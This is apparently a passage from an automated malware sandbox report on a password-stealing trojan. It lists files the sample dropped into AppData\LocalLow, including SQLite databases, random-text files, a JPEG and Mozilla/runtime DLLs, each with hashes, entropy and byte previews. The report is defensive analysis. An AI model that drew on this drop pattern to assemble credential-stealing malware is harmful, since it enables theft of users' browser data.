Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\LocalLow\fP1493T1oRTh

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\fX0R79TlgM5d

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\LocalLow\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	684984
Entropy (8bit):	6.857030838615762
Encrypted:	false
SSDEEP:	12288:0oUg2twzqWC4kBNv1pMByWk6TYnhCevOEH07OqHM65BaFBuY3NUNeCLIV/Rqnhab:0oUg2tJWC44WUuY3mMCLA/R+hw
MD5:	15B61E4A910C172B25FB7D8CCB92F754
SHA1:	5D9E319C7D47EB6D31AAED27707FE27A1665031C
SHA-256:	B2AE93D30C8BEB0B26F03D4A8325AC89B92A299E8F853E5CAA51BB32575B06C6
SHA-512:	7C1C982A2B597B665F45024A42E343A0A07A6167F77EE428A203F23BE94B5F225E22A270D1A41B655F3173369F27991770722D765774627229B6B1BBE2A6DC3F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.Trojan.PackedNET.2334.3801.19434.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: xzQ4Zf3975.exe, Detection: malicious, Browse Filename: 60lAWJYfsL.exe, Detection: malicious, Browse Filename: JeNG2S9wKC.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, Detection: malicious, Browse Filename: SnI2yBH5jJ.exe, Detection: malicious, Browse Filename: K3lQsBC5we.exe, Detection: malicious, Browse Filename: TCr4xC4lxh.exe, Detection: malicious, Browse Filename: o6zadjW4dI.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...&.9b.........."!.........6...........................................................@A........................4,..S....,..........x............T..........8$...&...............................0..................D............................text............................... ..`.rdata.......0......................@..@.data...<F...@.......&..............@....00cfg...............(..............@..@.rsrc...x............*..............@..@.reloc..8$.......&..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gFd04EJ1P5Co

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	85508
Entropy (8bit):	7.848846409214287
Encrypted:	false
SSDEEP:	1536:CGNcOqra95PUUfK8/P5KxXDZusTT6Q/pO6izfWns/MmrtKAplI/UGo9Lw:TcOqWM85K1ZuyLpOLrWns/MrJ/be0
MD5:	1781CC42034FD6F8EAC937712422BD79
SHA1:	6C73A9084BC700EB28BF3865076F57AFED92F56B
SHA-256:	E9F64FE2892F5578769D684106F01C89200D4A30198C875245915996BBA9F41C
SHA-512:	5C2E5D9626579A0EF7B3827F3AB6F4F089AAF81F2C51F84596FDF318C51E2E9253DDE5BC80674723CDABDA7EBD195EC8CA9FDBBC0CA9CA1D2F8E8844982954C3
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.z..p.....MR...%.f..r.....Uf.....?.2......S.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..o.<-...OF.....j.#?........x..........#..........9.+..........e\.../n-.n.dh.c...k....1.q...y5..r..N.)W...O.d.QEw.!E.P11E-v.....Z..tN.Lo..?.Xb1....Oc....&...W.8.+.?.]._.....G.R....n..............z...........w..#.......`..

C:\Users\user\AppData\LocalLow\gUqx96oechy5

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\LocalLow\jAEwhOUVK29c

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\LocalLow\jIIiESq6XCFG

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\LocalLow\mfd96T5UdJx7

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6969712158039245
Encrypted:	false
SSDEEP:	24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
MD5:	31CD00400A977C512B9F1AF51F2A5F90
SHA1:	3A6B9ED88BD73091D5685A51CB4C8870315C4A81
SHA-256:	E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
SHA-512:	0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
Malicious:	false
Preview:	PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

C:\Users\user\AppData\LocalLow\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	627128
Entropy (8bit):	6.792651884784197
Encrypted:	false
SSDEEP:	12288:dfsiG5KNZea77VUHQqROmbIDm0ICRfCtbtEE/2OH9E2ARlZYSd:df53NZea3V+QqROmum0nRKx79E2ARlrd
MD5:	F07D9977430E762B563EAADC2B94BBFA
SHA1:	DA0A05B2B8D269FB73558DFCF0ED5C167F6D3877
SHA-256:	4191FAF7E5EB105A0F4C5C6ED3E9E9C71014E8AA39BBEE313BC92D1411E9E862
SHA-512:	6AFD512E4099643BBA3FC7700DD72744156B78B7BDA10263BA1F8571D1E282133A433215A9222A7799F9824F244A2BC80C2816A62DE1497017A4B26D562B7EAF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.Trojan.PackedNET.2334.3801.19434.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: xzQ4Zf3975.exe, Detection: malicious, Browse Filename: 60lAWJYfsL.exe, Detection: malicious, Browse Filename: JeNG2S9wKC.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, Detection: malicious, Browse Filename: SnI2yBH5jJ.exe, Detection: malicious, Browse Filename: K3lQsBC5we.exe, Detection: malicious, Browse Filename: TCr4xC4lxh.exe, Detection: malicious, Browse Filename: o6zadjW4dI.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....9b.........."!.........V......./....................................................@A............................cQ......,....p...............r..........4C...........................W......h0...............................................text............................... ..`.rdata.......0......................@..@.data........0......................@....00cfg.......P....... ..............@..@.tls.........`......."..............@....rsrc........p.......$..............@..@.reloc..4C.......D..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	449280
Entropy (8bit):	6.670243582402913
Encrypted:	false
SSDEEP:	12288:UEPa9C9VbL+3Omy5CvyOvzeOKaqhUgiW6QR7t5s03Ooc8dHkC2esGgW8g:UEPa90Vbky5CvyUeOKg03Ooc8dHkC2ed
MD5:	1FB93933FD087215A3C7B0800E6BB703
SHA1:	A78232C352ED06CEDD7CA5CD5CB60E61EF8D86FB
SHA-256:	2DB7FD3C9C3C4B67F2D50A5A50E8C69154DC859780DD487C28A4E6ED1AF90D01
SHA-512:	79CD448E44B5607863B3CD0F9C8E1310F7E340559495589C428A24A4AC49BEB06502D787824097BB959A1C9CB80672630DAC19A405468A0B64DB5EBD6493590E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L....(.[.........."!.....(..........`........@............................................@A.........................g.......r...........................?.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\nnSCL09ESqz3

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6969712158039245
Encrypted:	false
SSDEEP:	24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
MD5:	31CD00400A977C512B9F1AF51F2A5F90
SHA1:	3A6B9ED88BD73091D5685A51CB4C8870315C4A81
SHA-256:	E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
SHA-512:	0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
Malicious:	false
Preview:	PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

C:\Users\user\AppData\LocalLow\nq4NAGOQygVe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
